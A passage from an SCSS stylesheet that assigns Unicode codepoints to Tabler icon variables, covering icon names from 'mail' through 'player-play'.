unicode('f93a');\n$ti-icon-mail-cog: unicode('f93b');\n$ti-icon-mail-dollar: unicode('f93c');\n$ti-icon-mail-down: unicode('f93d');\n$ti-icon-mail-exclamation: unicode('f93e');\n$ti-icon-mail-fast: unicode('f069');\n$ti-icon-mail-filled: unicode('fa47');\n$ti-icon-mail-forward: unicode('eeac');\n$ti-icon-mail-heart: unicode('f93f');\n$ti-icon-mail-minus: unicode('f940');\n$ti-icon-mail-off: unicode('f15a');\n$ti-icon-mail-opened: unicode('eae4');\n$ti-icon-mail-opened-filled: unicode('fa48');\n$ti-icon-mail-pause: unicode('f941');\n$ti-icon-mail-pin: unicode('f942');\n$ti-icon-mail-plus: unicode('f943');\n$ti-icon-mail-question: unicode('f944');\n$ti-icon-mail-search: unicode('f945');\n$ti-icon-mail-share: unicode('f946');\n$ti-icon-mail-star: unicode('f947');\n$ti-icon-mail-up: unicode('f948');\n$ti-icon-mail-x: unicode('f949');\n$ti-icon-mailbox: unicode('eead');\n$ti-icon-mailbox-off: unicode('f15b');\n$ti-icon-man: unicode('eae6');\n$ti-icon-man-filled: unicode('fe11');\n$ti-icon-manual-gearbox: unicode('ed7b');\n$ti-icon-manual-gearbox-filled: unicode('fe10');\n$ti-icon-map: unicode('eae9');\n$ti-icon-map-2: unicode('eae7');\n$ti-icon-map-bolt: unicode('fbc3');\n$ti-icon-map-cancel: unicode('fbc4');\n$ti-icon-map-check: unicode('fbc5');\n$ti-icon-map-code: unicode('fbc6');\n$ti-icon-map-cog: unicode('fbc7');\n$ti-icon-map-discount: unicode('fbc8');\n$ti-icon-map-dollar: unicode('fbc9');\n$ti-icon-map-down: unicode('fbca');\n$ti-icon-map-east: unicode('fc5d');\n$ti-icon-map-exclamation: unicode('fbcb');\n$ti-icon-map-heart: unicode('fbcc');\n$ti-icon-map-minus: unicode('fbcd');\n$ti-icon-map-north: unicode('fc5e');\n$ti-icon-map-off: unicode('f15c');\n$ti-icon-map-pause: unicode('fbce');\n$ti-icon-map-pin: unicode('eae8');\n$ti-icon-map-pin-2: unicode('fc48');\n$ti-icon-map-pin-bolt: unicode('f94a');\n$ti-icon-map-pin-cancel: unicode('f94b');\n$ti-icon-map-pin-check: unicode('f94c');\n$ti-icon-map-pin-code: unicode('f94d');\n$ti-icon-map-pin-cog: unicode('f94e');\n$ti-icon-map-pin-dollar: unicode('f94f');\n$ti-icon-map-pin-down: unicode('f950');\n$ti-icon-map-pin-exclamation: unicode('f951');\n$ti-icon-map-pin-filled: unicode('f680');\n$ti-icon-map-pin-heart: unicode('f952');\n$ti-icon-map-pin-minus: unicode('f953');\n$ti-icon-map-pin-off: unicode('ecf3');\n$ti-icon-map-pin-pause: unicode('f954');\n$ti-icon-map-pin-pin: unicode('f955');\n$ti-icon-map-pin-plus: unicode('f956');\n$ti-icon-map-pin-question: unicode('f957');\n$ti-icon-map-pin-search: unicode('f958');\n$ti-icon-map-pin-share: unicode('f795');\n$ti-icon-map-pin-star: unicode('f959');\n$ti-icon-map-pin-up: unicode('f95a');\n$ti-icon-map-pin-x: unicode('f95b');\n$ti-icon-map-pins: unicode('ed5e');\n$ti-icon-map-plus: unicode('fbcf');\n$ti-icon-map-question: unicode('fbd0');\n$ti-icon-map-route: unicode('fc79');\n$ti-icon-map-search: unicode('ef82');\n$ti-icon-map-share: unicode('fbd1');\n$ti-icon-map-south: unicode('fc5f');\n$ti-icon-map-star: unicode('fbd2');\n$ti-icon-map-up: unicode('fbd3');\n$ti-icon-map-west: unicode('fc60');\n$ti-icon-map-x: unicode('fbd4');\n$ti-icon-markdown: unicode('ec41');\n$ti-icon-markdown-off: unicode('f407');\n$ti-icon-marquee: unicode('ec77');\n$ti-icon-marquee-2: unicode('eeae');\n$ti-icon-marquee-off: unicode('f15d');\n$ti-icon-mars: unicode('ec80');\n$ti-icon-mask: unicode('eeb0');\n$ti-icon-mask-off: unicode('eeaf');\n$ti-icon-masks-theater: unicode('f263');\n$ti-icon-masks-theater-off: unicode('f408');\n$ti-icon-massage: unicode('eeb1');\n$ti-icon-matchstick: unicode('f577');\n$ti-icon-math: unicode('ebeb');\n$ti-icon-math-1-divide-2: unicode('f4e2');\n$ti-icon-math-1-divide-3: unicode('f4e3');\n$ti-icon-math-avg: unicode('f0f4');\n$ti-icon-math-equal-greater: unicode('f4e4');\n$ti-icon-math-equal-lower: unicode('f4e5');\n$ti-icon-math-function: unicode('eeb2');\n$ti-icon-math-function-off: unicode('f15e');\n$ti-icon-math-function-y: unicode('f4e6');\n$ti-icon-math-greater: unicode('f4e7');\n$ti-icon-math-integral: unicode('f4e9');\n$ti-icon-math-integral-x: unicode('f4e8');\n$ti-icon-math-integrals: unicode('f4ea');\n$ti-icon-math-lower: unicode('f4eb');\n$ti-icon-math-max: unicode('f0f5');\n$ti-icon-math-max-min: unicode('fda0');\n$ti-icon-math-min: unicode('f0f6');\n$ti-icon-math-not: unicode('f4ec');\n$ti-icon-math-off: unicode('f409');\n$ti-icon-math-pi: unicode('f4ee');\n$ti-icon-math-pi-divide-2: unicode('f4ed');\n$ti-icon-math-symbols: unicode('eeb3');\n$ti-icon-math-x-divide-2: unicode('f4ef');\n$ti-icon-math-x-divide-y: unicode('f4f1');\n$ti-icon-math-x-divide-y-2: unicode('f4f0');\n$ti-icon-math-x-minus-x: unicode('f4f2');\n$ti-icon-math-x-minus-y: unicode('f4f3');\n$ti-icon-math-x-plus-x: unicode('f4f4');\n$ti-icon-math-x-plus-y: unicode('f4f5');\n$ti-icon-math-xy: unicode('f4f6');\n$ti-icon-math-y-minus-y: unicode('f4f7');\n$ti-icon-math-y-plus-y: unicode('f4f8');\n$ti-icon-maximize: unicode('eaea');\n$ti-icon-maximize-off: unicode('f15f');\n$ti-icon-meat: unicode('ef12');\n$ti-icon-meat-off: unicode('f40a');\n$ti-icon-medal: unicode('ec78');\n$ti-icon-medal-2: unicode('efcd');\n$ti-icon-medical-cross: unicode('ec2f');\n$ti-icon-medical-cross-circle: unicode('fae8');\n$ti-icon-medical-cross-filled: unicode('f681');\n$ti-icon-medical-cross-off: unicode('f160');\n$ti-icon-medicine-syrup: unicode('ef63');\n$ti-icon-meeple: unicode('f514');\n$ti-icon-melon: unicode('fc7a');\n$ti-icon-menorah: unicode('f58c');\n$ti-icon-menu: unicode('eaeb');\n$ti-icon-menu-2: unicode('ec42');\n$ti-icon-menu-deep: unicode('fafb');\n$ti-icon-menu-order: unicode('f5f5');\n$ti-icon-message: unicode('eaef');\n$ti-icon-message-2: unicode('eaec');\n$ti-icon-message-2-bolt: unicode('f95c');\n$ti-icon-message-2-cancel: unicode('f95d');\n$ti-icon-message-2-check: unicode('f95e');\n$ti-icon-message-2-code: unicode('f012');\n$ti-icon-message-2-cog: unicode('f95f');\n$ti-icon-message-2-dollar: unicode('f960');\n$ti-icon-message-2-down: unicode('f961');\n$ti-icon-message-2-exclamation: unicode('f962');\n$ti-icon-message-2-heart: unicode('f963');\n$ti-icon-message-2-minus: unicode('f964');\n$ti-icon-message-2-off: unicode('f40b');\n$ti-icon-message-2-pause: unicode('f965');\n$ti-icon-message-2-pin: unicode('f966');\n$ti-icon-message-2-plus: unicode('f967');\n$ti-icon-message-2-question: unicode('f968');\n$ti-icon-message-2-search: unicode('f969');\n$ti-icon-message-2-share: unicode('f077');\n$ti-icon-message-2-star: unicode('f96a');\n$ti-icon-message-2-up: unicode('f96b');\n$ti-icon-message-2-x: unicode('f96c');\n$ti-icon-message-bolt: unicode('f96d');\n$ti-icon-message-cancel: unicode('f96e');\n$ti-icon-message-chatbot: unicode('f38a');\n$ti-icon-message-check: unicode('f96f');\n$ti-icon-message-circle: unicode('eaed');\n$ti-icon-message-circle-2: unicode('ed3f');\n$ti-icon-message-circle-2-filled: unicode('f682');\n$ti-icon-message-circle-bolt: unicode('f970');\n$ti-icon-message-circle-cancel: unicode('f971');\n$ti-icon-message-circle-check: unicode('f972');\n$ti-icon-message-circle-code: unicode('f973');\n$ti-icon-message-circle-cog: unicode('f974');\n$ti-icon-message-circle-dollar: unicode('f975');\n$ti-icon-message-circle-down: unicode('f976');\n$ti-icon-message-circle-exclamation: unicode('f977');\n$ti-icon-message-circle-heart: unicode('f978');\n$ti-icon-message-circle-minus: unicode('f979');\n$ti-icon-message-circle-off: unicode('ed40');\n$ti-icon-message-circle-pause: unicode('f97a');\n$ti-icon-message-circle-pin: unicode('f97b');\n$ti-icon-message-circle-plus: unicode('f97c');\n$ti-icon-message-circle-question: unicode('f97d');\n$ti-icon-message-circle-search: unicode('f97e');\n$ti-icon-message-circle-share: unicode('f97f');\n$ti-icon-message-circle-star: unicode('f980');\n$ti-icon-message-circle-up: unicode('f981');\n$ti-icon-message-circle-x: unicode('f982');\n$ti-icon-message-code: unicode('f013');\n$ti-icon-message-cog: unicode('f983');\n$ti-icon-message-dollar: unicode('f984');\n$ti-icon-message-dots: unicode('eaee');\n$ti-icon-message-down: unicode('f985');\n$ti-icon-message-exclamation: unicode('f986');\n$ti-icon-message-forward: unicode('f28f');\n$ti-icon-message-heart: unicode('f987');\n$ti-icon-message-language: unicode('efae');\n$ti-icon-message-minus: unicode('f988');\n$ti-icon-message-off: unicode('ed41');\n$ti-icon-message-pause: unicode('f989');\n$ti-icon-message-pin: unicode('f98a');\n$ti-icon-message-plus: unicode('ec9a');\n$ti-icon-message-question: unicode('f98b');\n$ti-icon-message-reply: unicode('fd4d');\n$ti-icon-message-report: unicode('ec9b');\n$ti-icon-message-search: unicode('f98c');\n$ti-icon-message-share: unicode('f078');\n$ti-icon-message-star: unicode('f98d');\n$ti-icon-message-up: unicode('f98e');\n$ti-icon-message-x: unicode('f98f');\n$ti-icon-messages: unicode('eb6c');\n$ti-icon-messages-off: unicode('ed42');\n$ti-icon-meteor: unicode('f1fd');\n$ti-icon-meteor-off: unicode('f40c');\n$ti-icon-meter-cube: unicode('fd7c');\n$ti-icon-meter-square: unicode('fd7d');\n$ti-icon-metronome: unicode('fd25');\n$ti-icon-michelin-bib-gourmand: unicode('fae9');\n$ti-icon-michelin-star: unicode('faeb');\n$ti-icon-michelin-star-green: unicode('faea');\n$ti-icon-mickey: unicode('f2a3');\n$ti-icon-mickey-filled: unicode('f683');\n$ti-icon-microphone: unicode('eaf0');\n$ti-icon-microphone-2: unicode('ef2c');\n$ti-icon-microphone-2-off: unicode('f40d');\n$ti-icon-microphone-filled: unicode('fe0f');\n$ti-icon-microphone-off: unicode('ed16');\n$ti-icon-microscope: unicode('ef64');\n$ti-icon-microscope-off: unicode('f40e');\n$ti-icon-microwave: unicode('f248');\n$ti-icon-microwave-filled: unicode('fe0e');\n$ti-icon-microwave-off: unicode('f264');\n$ti-icon-military-award: unicode('f079');\n$ti-icon-military-rank: unicode('efcf');\n$ti-icon-milk: unicode('ef13');\n$ti-icon-milk-off: unicode('f40f');\n$ti-icon-milkshake: unicode('f4c8');\n$ti-icon-minimize: unicode('eaf1');\n$ti-icon-minus: unicode('eaf2');\n$ti-icon-minus-vertical: unicode('eeb4');\n$ti-icon-mist: unicode('ec30');\n$ti-icon-mist-off: unicode('f410');\n$ti-icon-mobiledata: unicode('f9f5');\n$ti-icon-mobiledata-off: unicode('f9f4');\n$ti-icon-moneybag: unicode('f506');\n$ti-icon-mood-angry: unicode('f2de');\n$ti-icon-mood-annoyed: unicode('f2e0');\n$ti-icon-mood-annoyed-2: unicode('f2df');\n$ti-icon-mood-boy: unicode('ed2d');\n$ti-icon-mood-check: unicode('f7b3');\n$ti-icon-mood-cog: unicode('f7b4');\n$ti-icon-mood-confuzed: unicode('eaf3');\n$ti-icon-mood-confuzed-filled: unicode('f7f2');\n$ti-icon-mood-crazy-happy: unicode('ed90');\n$ti-icon-mood-cry: unicode('ecbb');\n$ti-icon-mood-dollar: unicode('f7b5');\n$ti-icon-mood-edit: unicode('fa05');\n$ti-icon-mood-empty: unicode('eeb5');\n$ti-icon-mood-empty-filled: unicode('f7f3');\n$ti-icon-mood-happy: unicode('eaf4');\n$ti-icon-mood-happy-filled: unicode('f7f4');\n$ti-icon-mood-heart: unicode('f7b6');\n$ti-icon-mood-kid: unicode('ec03');\n$ti-icon-mood-kid-filled: unicode('f7f5');\n$ti-icon-mood-look-down: unicode('fd37');\n$ti-icon-mood-look-left: unicode('f2c5');\n$ti-icon-mood-look-right: unicode('f2c6');\n$ti-icon-mood-look-up: unicode('fd38');\n$ti-icon-mood-minus: unicode('f7b7');\n$ti-icon-mood-nerd: unicode('f2e1');\n$ti-icon-mood-nervous: unicode('ef96');\n$ti-icon-mood-neutral: unicode('eaf5');\n$ti-icon-mood-neutral-filled: unicode('f7f6');\n$ti-icon-mood-off: unicode('f161');\n$ti-icon-mood-pin: unicode('f7b8');\n$ti-icon-mood-plus: unicode('f7b9');\n$ti-icon-mood-puzzled: unicode('fd39');\n$ti-icon-mood-sad: unicode('eaf6');\n$ti-icon-mood-sad-2: unicode('f2e2');\n$ti-icon-mood-sad-dizzy: unicode('f2e3');\n$ti-icon-mood-sad-filled: unicode('f7f7');\n$ti-icon-mood-sad-squint: unicode('f2e4');\n$ti-icon-mood-search: unicode('f7ba');\n$ti-icon-mood-share: unicode('fa06');\n$ti-icon-mood-sick: unicode('f2e5');\n$ti-icon-mood-silence: unicode('f2e6');\n$ti-icon-mood-sing: unicode('f2c7');\n$ti-icon-mood-smile: unicode('eaf7');\n$ti-icon-mood-smile-beam: unicode('f2e7');\n$ti-icon-mood-smile-dizzy: unicode('f2e8');\n$ti-icon-mood-smile-filled: unicode('f7f8');\n$ti-icon-mood-suprised: unicode('ec04');\n$ti-icon-mood-tongue: unicode('eb95');\n$ti-icon-mood-tongue-wink: unicode('f2ea');\n$ti-icon-mood-tongue-wink-2: unicode('f2e9');\n$ti-icon-mood-unamused: unicode('f2eb');\n$ti-icon-mood-up: unicode('f7bb');\n$ti-icon-mood-wink: unicode('f2ed');\n$ti-icon-mood-wink-2: unicode('f2ec');\n$ti-icon-mood-wrrr: unicode('f2ee');\n$ti-icon-mood-x: unicode('f7bc');\n$ti-icon-mood-xd: unicode('f2ef');\n$ti-icon-moon: unicode('eaf8');\n$ti-icon-moon-2: unicode('ece6');\n$ti-icon-moon-filled: unicode('f684');\n$ti-icon-moon-off: unicode('f162');\n$ti-icon-moon-stars: unicode('ece7');\n$ti-icon-moped: unicode('ecbc');\n$ti-icon-motorbike: unicode('eeb6');\n$ti-icon-mountain: unicode('ef97');\n$ti-icon-mountain-off: unicode('f411');\n$ti-icon-mouse: unicode('eaf9');\n$ti-icon-mouse-2: unicode('f1d7');\n$ti-icon-mouse-filled: unicode('fb2f');\n$ti-icon-mouse-off: unicode('f163');\n$ti-icon-moustache: unicode('f4c9');\n$ti-icon-movie: unicode('eafa');\n$ti-icon-movie-off: unicode('f164');\n$ti-icon-mug: unicode('eafb');\n$ti-icon-mug-off: unicode('f165');\n$ti-icon-multiplier-0-5x: unicode('ef41');\n$ti-icon-multiplier-1-5x: unicode('ef42');\n$ti-icon-multiplier-1x: unicode('ef43');\n$ti-icon-multiplier-2x: unicode('ef44');\n$ti-icon-mushroom: unicode('ef14');\n$ti-icon-mushroom-filled: unicode('f7f9');\n$ti-icon-mushroom-off: unicode('f412');\n$ti-icon-music: unicode('eafc');\n$ti-icon-music-bolt: unicode('fbd5');\n$ti-icon-music-cancel: unicode('fbd6');\n$ti-icon-music-check: unicode('fbd7');\n$ti-icon-music-code: unicode('fbd8');\n$ti-icon-music-cog: unicode('fbd9');\n$ti-icon-music-discount: unicode('fbda');\n$ti-icon-music-dollar: unicode('fbdb');\n$ti-icon-music-down: unicode('fbdc');\n$ti-icon-music-exclamation: unicode('fbdd');\n$ti-icon-music-heart: unicode('fbde');\n$ti-icon-music-minus: unicode('fbdf');\n$ti-icon-music-off: unicode('f166');\n$ti-icon-music-pause: unicode('fbe0');\n$ti-icon-music-pin: unicode('fbe1');\n$ti-icon-music-plus: unicode('fbe2');\n$ti-icon-music-question: unicode('fbe3');\n$ti-icon-music-search: unicode('fbe4');\n$ti-icon-music-share: unicode('fbe5');\n$ti-icon-music-star: unicode('fbe6');\n$ti-icon-music-up: unicode('fbe7');\n$ti-icon-music-x: unicode('fbe8');\n$ti-icon-navigation: unicode('f2c8');\n$ti-icon-navigation-bolt: unicode('fbe9');\n$ti-icon-navigation-cancel: unicode('fbea');\n$ti-icon-navigation-check: unicode('fbeb');\n$ti-icon-navigation-code: unicode('fbec');\n$ti-icon-navigation-cog: unicode('fbed');\n$ti-icon-navigation-discount: unicode('fbee');\n$ti-icon-navigation-dollar: unicode('fbef');\n$ti-icon-navigation-down: unicode('fbf0');\n$ti-icon-navigation-east: unicode('fcba');\n$ti-icon-navigation-exclamation: unicode('fbf1');\n$ti-icon-navigation-filled: unicode('f685');\n$ti-icon-navigation-heart: unicode('fbf2');\n$ti-icon-navigation-minus: unicode('fbf3');\n$ti-icon-navigation-north: unicode('fcbb');\n$ti-icon-navigation-off: unicode('f413');\n$ti-icon-navigation-pause: unicode('fbf4');\n$ti-icon-navigation-pin: unicode('fbf5');\n$ti-icon-navigation-plus: unicode('fbf6');\n$ti-icon-navigation-question: unicode('fbf7');\n$ti-icon-navigation-search: unicode('fbf8');\n$ti-icon-navigation-share: unicode('fbf9');\n$ti-icon-navigation-south: unicode('fcbc');\n$ti-icon-navigation-star: unicode('fbfa');\n$ti-icon-navigation-top: unicode('faec');\n$ti-icon-navigation-up: unicode('fbfb');\n$ti-icon-navigation-west: unicode('fcbd');\n$ti-icon-navigation-x: unicode('fbfc');\n$ti-icon-needle: unicode('f508');\n$ti-icon-needle-thread: unicode('f507');\n$ti-icon-network: unicode('f09f');\n$ti-icon-network-off: unicode('f414');\n$ti-icon-new-section: unicode('ebc1');\n$ti-icon-news: unicode('eafd');\n$ti-icon-news-off: unicode('f167');\n$ti-icon-nfc: unicode('eeb7');\n$ti-icon-nfc-off: unicode('f168');\n$ti-icon-no-copyright: unicode('efb9');\n$ti-icon-no-creative-commons: unicode('efba');\n$ti-icon-no-derivatives: unicode('efbb');\n$ti-icon-north-star: unicode('f014');\n$ti-icon-note: unicode('eb6d');\n$ti-icon-note-off: unicode('f169');\n$ti-icon-notebook: unicode('eb96');\n$ti-icon-notebook-off: unicode('f415');\n$ti-icon-notes: unicode('eb6e');\n$ti-icon-notes-off: unicode('f16a');\n$ti-icon-notification: unicode('eafe');\n$ti-icon-notification-off: unicode('f16b');\n$ti-icon-number: unicode('f1fe');\n$ti-icon-number-0: unicode('edf0');\n$ti-icon-number-0-small: unicode('fce1');\n$ti-icon-number-1: unicode('edf1');\n$ti-icon-number-1-small: unicode('fce2');\n$ti-icon-number-10-small: unicode('fce3');\n$ti-icon-number-11-small: unicode('fce4');\n$ti-icon-number-12-small: unicode('fce5');\n$ti-icon-number-123: unicode('f554');\n$ti-icon-number-13-small: unicode('fce6');\n$ti-icon-number-14-small: unicode('fce7');\n$ti-icon-number-15-small: unicode('fce8');\n$ti-icon-number-16-small: unicode('fce9');\n$ti-icon-number-17-small: unicode('fcea');\n$ti-icon-number-18-small: unicode('fceb');\n$ti-icon-number-19-small: unicode('fcec');\n$ti-icon-number-2: unicode('edf2');\n$ti-icon-number-2-small: unicode('fced');\n$ti-icon-number-20-small: unicode('fcee');\n$ti-icon-number-21-small: unicode('fcef');\n$ti-icon-number-22-small: unicode('fcf0');\n$ti-icon-number-23-small: unicode('fcf1');\n$ti-icon-number-24-small: unicode('fcf2');\n$ti-icon-number-25-small: unicode('fcf3');\n$ti-icon-number-26-small: unicode('fcf4');\n$ti-icon-number-27-small: unicode('fcf5');\n$ti-icon-number-28-small: unicode('fcf6');\n$ti-icon-number-29-small: unicode('fcf7');\n$ti-icon-number-3: unicode('edf3');\n$ti-icon-number-3-small: unicode('fcf8');\n$ti-icon-number-4: unicode('edf4');\n$ti-icon-number-4-small: unicode('fcf9');\n$ti-icon-number-5: unicode('edf5');\n$ti-icon-number-5-small: unicode('fcfa');\n$ti-icon-number-6: unicode('edf6');\n$ti-icon-number-6-small: unicode('fcfb');\n$ti-icon-number-7: unicode('edf7');\n$ti-icon-number-7-small: unicode('fcfc');\n$ti-icon-number-8: unicode('edf8');\n$ti-icon-number-8-small: unicode('fcfd');\n$ti-icon-number-9: unicode('edf9');\n$ti-icon-number-9-small: unicode('fcfe');\n$ti-icon-numbers: unicode('f015');\n$ti-icon-nurse: unicode('ef65');\n$ti-icon-nut: unicode('fc61');\n$ti-icon-octagon: unicode('ecbd');\n$ti-icon-octagon-filled: unicode('f686');\n$ti-icon-octagon-minus: unicode('fc92');\n$ti-icon-octagon-minus-2: unicode('fc91');\n$ti-icon-octagon-off: unicode('eeb8');\n$ti-icon-octagon-plus: unicode('fc94');\n$ti-icon-octagon-plus-2: unicode('fc93');\n$ti-icon-octahedron: unicode('faae');\n$ti-icon-octahedron-off: unicode('faac');\n$ti-icon-octahedron-plus: unicode('faad');\n$ti-icon-old: unicode('eeb9');\n$ti-icon-olympics: unicode('eeba');\n$ti-icon-olympics-off: unicode('f416');\n$ti-icon-om: unicode('f58d');\n$ti-icon-omega: unicode('eb97');\n$ti-icon-outbound: unicode('f249');\n$ti-icon-outlet: unicode('ebd7');\n$ti-icon-oval: unicode('f02e');\n$ti-icon-oval-filled: unicode('f687');\n$ti-icon-oval-vertical: unicode('f02d');\n$ti-icon-oval-vertical-filled: unicode('f688');\n$ti-icon-overline: unicode('eebb');\n$ti-icon-package: unicode('eaff');\n$ti-icon-package-export: unicode('f07a');\n$ti-icon-package-import: unicode('f07b');\n$ti-icon-package-off: unicode('f16c');\n$ti-icon-packages: unicode('f2c9');\n$ti-icon-pacman: unicode('eebc');\n$ti-icon-page-break: unicode('ec81');\n$ti-icon-paint: unicode('eb00');\n$ti-icon-paint-filled: unicode('f75f');\n$ti-icon-paint-off: unicode('f16d');\n$ti-icon-palette: unicode('eb01');\n$ti-icon-palette-off: unicode('f16e');\n$ti-icon-panorama-horizontal: unicode('ed33');\n$ti-icon-panorama-horizontal-off: unicode('f417');\n$ti-icon-panorama-vertical: unicode('ed34');\n$ti-icon-panorama-vertical-off: unicode('f418');\n$ti-icon-paper-bag: unicode('f02f');\n$ti-icon-paper-bag-off: unicode('f16f');\n$ti-icon-paperclip: unicode('eb02');\n$ti-icon-parachute: unicode('ed7c');\n$ti-icon-parachute-off: unicode('f170');\n$ti-icon-parentheses: unicode('ebd8');\n$ti-icon-parentheses-off: unicode('f171');\n$ti-icon-parking: unicode('eb03');\n$ti-icon-parking-circle: unicode('fd5a');\n$ti-icon-parking-off: unicode('f172');\n$ti-icon-password: unicode('f4ca');\n$ti-icon-password-fingerprint: unicode('fc7b');\n$ti-icon-password-mobile-phone: unicode('fc7c');\n$ti-icon-password-user: unicode('fc7d');\n$ti-icon-paw: unicode('eff9');\n$ti-icon-paw-filled: unicode('f689');\n$ti-icon-paw-off: unicode('f419');\n$ti-icon-paywall: unicode('fd7e');\n$ti-icon-pdf: unicode('f7ac');\n$ti-icon-peace: unicode('ecbe');\n$ti-icon-pencil: unicode('eb04');\n$ti-icon-pencil-bolt: unicode('fbfd');\n$ti-icon-pencil-cancel: unicode('fbfe');\n$ti-icon-pencil-check: unicode('fbff');\n$ti-icon-pencil-code: unicode('fc00');\n$ti-icon-pencil-cog: unicode('fc01');\n$ti-icon-pencil-discount: unicode('fc02');\n$ti-icon-pencil-dollar: unicode('fc03');\n$ti-icon-pencil-down: unicode('fc04');\n$ti-icon-pencil-exclamation: unicode('fc05');\n$ti-icon-pencil-heart: unicode('fc06');\n$ti-icon-pencil-minus: unicode('f1eb');\n$ti-icon-pencil-off: unicode('f173');\n$ti-icon-pencil-pause: unicode('fc07');\n$ti-icon-pencil-pin: unicode('fc08');\n$ti-icon-pencil-plus: unicode('f1ec');\n$ti-icon-pencil-question: unicode('fc09');\n$ti-icon-pencil-search: unicode('fc0a');\n$ti-icon-pencil-share: unicode('fc0b');\n$ti-icon-pencil-star: unicode('fc0c');\n$ti-icon-pencil-up: unicode('fc0d');\n$ti-icon-pencil-x: unicode('fc0e');\n$ti-icon-pennant: unicode('ed7d');\n$ti-icon-pennant-2: unicode('f06a');\n$ti-icon-pennant-2-filled: unicode('f68a');\n$ti-icon-pennant-filled: unicode('f68b');\n$ti-icon-pennant-off: unicode('f174');\n$ti-icon-pentagon: unicode('efe3');\n$ti-icon-pentagon-filled: unicode('f68c');\n$ti-icon-pentagon-number-0: unicode('fc7e');\n$ti-icon-pentagon-number-1: unicode('fc7f');\n$ti-icon-pentagon-number-2: unicode('fc80');\n$ti-icon-pentagon-number-3: unicode('fc81');\n$ti-icon-pentagon-number-4: unicode('fc82');\n$ti-icon-pentagon-number-5: unicode('fc83');\n$ti-icon-pentagon-number-6: unicode('fc84');\n$ti-icon-pentagon-number-7: unicode('fc85');\n$ti-icon-pentagon-number-8: unicode('fc86');\n$ti-icon-pentagon-number-9: unicode('fc87');\n$ti-icon-pentagon-off: unicode('f41a');\n$ti-icon-pentagon-plus: unicode('fc49');\n$ti-icon-pentagon-x: unicode('fc88');\n$ti-icon-pentagram: unicode('f586');\n$ti-icon-pepper: unicode('ef15');\n$ti-icon-pepper-off: unicode('f175');\n$ti-icon-percentage: unicode('ecf4');\n$ti-icon-perfume: unicode('f509');\n$ti-icon-perspective: unicode('eebd');\n$ti-icon-perspective-off: unicode('f176');\n$ti-icon-phone: unicode('eb09');\n$ti-icon-phone-call: unicode('eb05');\n$ti-icon-phone-calling: unicode('ec43');\n$ti-icon-phone-check: unicode('ec05');\n$ti-icon-phone-filled: unicode('fa49');\n$ti-icon-phone-incoming: unicode('eb06');\n$ti-icon-phone-off: unicode('ecf5');\n$ti-icon-phone-outgoing: unicode('eb07');\n$ti-icon-phone-pause: unicode('eb08');\n$ti-icon-phone-plus: unicode('ec06');\n$ti-icon-phone-x: unicode('ec07');\n$ti-icon-photo: unicode('eb0a');\n$ti-icon-photo-ai: unicode('fa32');\n$ti-icon-photo-bolt: unicode('f990');\n$ti-icon-photo-cancel: unicode('f35d');\n$ti-icon-photo-check: unicode('f35e');\n$ti-icon-photo-circle: unicode('fc4a');\n$ti-icon-photo-circle-minus: unicode('fc62');\n$ti-icon-photo-circle-plus: unicode('fc63');\n$ti-icon-photo-code: unicode('f991');\n$ti-icon-photo-cog: unicode('f992');\n$ti-icon-photo-dollar: unicode('f993');\n$ti-icon-photo-down: unicode('f35f');\n$ti-icon-photo-edit: unicode('f360');\n$ti-icon-photo-exclamation: unicode('f994');\n$ti-icon-photo-filled: unicode('fa4a');\n$ti-icon-photo-heart: unicode('f361');\n$ti-icon-photo-hexagon: unicode('fc4b');\n$ti-icon-photo-minus: unicode('f362');\n$ti-icon-photo-off: unicode('ecf6');\n$ti-icon-photo-pause: unicode('f995');\n$ti-icon-photo-pentagon: unicode('fc4c');\n$ti-icon-photo-pin: unicode('f996');\n$ti-icon-photo-plus: unicode('f363');\n$ti-icon-photo-question: unicode('f997');\n$ti-icon-photo-scan: unicode('fca8');\n$ti-icon-photo-search: unicode('f364');\n$ti-icon-photo-sensor: unicode('f798');\n$ti-icon-photo-sensor-2: unicode('f796');\n$ti-icon-photo-sensor-3: unicode('f797');\n$ti-icon-photo-share: unicode('f998');\n$ti-icon-photo-shield: unicode('f365');\n$ti-icon-photo-square-rounded: unicode('fc4d');\n$ti-icon-photo-star: unicode('f366');\n$ti-icon-photo-up: unicode('f38b');\n$ti-icon-photo-video: unicode('fc95');\n$ti-icon-photo-x: unicode('f367');\n$ti-icon-physotherapist: unicode('eebe');\n$ti-icon-piano: unicode('fad3');\n$ti-icon-pick: unicode('fafc');\n$ti-icon-picture-in-picture: unicode('ed35');\n$ti-icon-picture-in-picture-off: unicode('ed43');\n$ti-icon-picture-in-picture-on: unicode('ed44');\n$ti-icon-picture-in-picture-top: unicode('efe4');\n$ti-icon-pig: unicode('ef52');\n$ti-icon-pig-money: unicode('f38c');\n$ti-icon-pig-off: unicode('f177');\n$ti-icon-pilcrow: unicode('f5f6');\n$ti-icon-pilcrow-left: unicode('fd7f');\n$ti-icon-pilcrow-right: unicode('fd80');\n$ti-icon-pill: unicode('ec44');\n$ti-icon-pill-off: unicode('f178');\n$ti-icon-pills: unicode('ef66');\n$ti-icon-pin: unicode('ec9c');\n$ti-icon-pin-end: unicode('fd5b');\n$ti-icon-pin-filled: unicode('f68d');\n$ti-icon-pin-invoke: unicode('fd5c');\n$ti-icon-ping-pong: unicode('f38d');\n$ti-icon-pinned: unicode('ed60');\n$ti-icon-pinned-filled: unicode('f68e');\n$ti-icon-pinned-off: unicode('ed5f');\n$ti-icon-pizza: unicode('edbb');\n$ti-icon-pizza-off: unicode('f179');\n$ti-icon-placeholder: unicode('f626');\n$ti-icon-plane: unicode('eb6f');\n$ti-icon-plane-arrival: unicode('eb99');\n$ti-icon-plane-departure: unicode('eb9a');\n$ti-icon-plane-inflight: unicode('ef98');\n$ti-icon-plane-off: unicode('f17a');\n$ti-icon-plane-tilt: unicode('f1ed');\n$ti-icon-planet: unicode('ec08');\n$ti-icon-planet-off: unicode('f17b');\n$ti-icon-plant: unicode('ed50');\n$ti-icon-plant-2: unicode('ed7e');\n$ti-icon-plant-2-off: unicode('f17c');\n$ti-icon-plant-off: unicode('f17d');\n$ti-icon-play-basketball: unicode('fa66');\n$ti-icon-play-card: unicode('eebf');\n$ti-icon-play-card-off: unicode('f17e');\n$ti-icon-play-football: unicode('fa67');\n$ti-icon-play-handball: unicode('fa68');\n$ti-icon-play-volleyball: unicode('fa69');\n$ti-icon-player-eject: unicode('efbc');\n$ti-icon-player-eject-filled: unicode('f68f');\n$ti-icon-player-pause: unicode('ed45');\n$ti-icon-player-pause-filled: unicode('f690');\n$ti-icon-player-play: unicode('ed46');\n$ti-icon-player-play-filled: 